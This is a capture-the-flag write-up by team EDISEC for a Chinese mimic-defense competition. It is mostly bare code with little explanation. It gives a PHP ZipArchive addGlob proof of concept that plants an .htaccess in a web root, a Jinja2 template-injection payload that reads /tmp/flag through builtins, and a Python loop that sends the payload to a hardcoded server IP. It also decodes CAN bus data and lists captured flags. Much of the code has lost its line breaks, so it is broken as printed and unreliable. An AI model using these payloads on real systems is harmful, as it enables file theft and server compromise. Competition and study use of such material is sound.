第六届强网拟态防御国际精英挑战赛初赛–WriteUp By EDISEC

https://bugs.php.net/bug.php?id=72374

<?php$file = '/tmp/tmp';touch($file);
$zip = new ZipArchive();$zip->open('test.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);$options = array('add_path' => 'var/www/html/', 'remove_path' => '/tmp/.');$zip->addGlob($file."/**", 0, $options);$zip->addGlob($file."/.htaccess", 0, $options);
for($i = 0; $i < $zip->numFiles; $i++) {  $sb = $zip->statIndex($i);  echo $sb['name'];}
$zip->close();

2E95A5C5F9643DF668D3965A6CDF19541BC0496

flag{6c324d2c86a72b864a22f30e46d20220}

import pandas as pd
df = pd.read_csv('can_data.csv')data_field = df[df['type'] == 'data_field']password_chars = []for hex_value in data_field['data']:    password_chars.append(chr(int(hex_value, 16)))password = ''.join(password_chars)print(password)

flag{L0GIC_ANA1YSIS_CAN_FOR_FUN}

name={{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[0]}}

import requestsimport resess = requests.session()
url = 'http://116.63.134.105/index.php'post = '{{().__class__.__base__.__subclasses__()[148].__init__.__globals__.__builtins__["open"]("/tm""p/fl""ag").read()[FUZZ]}}'

for i in range(518, 10000):    try:        resp = sess.post(url, data={'name': post.replace('FUZZ', str(i))})        res = re.findall(r'您好, (.*)已登记!!', resp.text)        print(res[0], end='')    except IndexError:        print()        continue

flag{u_win_have_fun}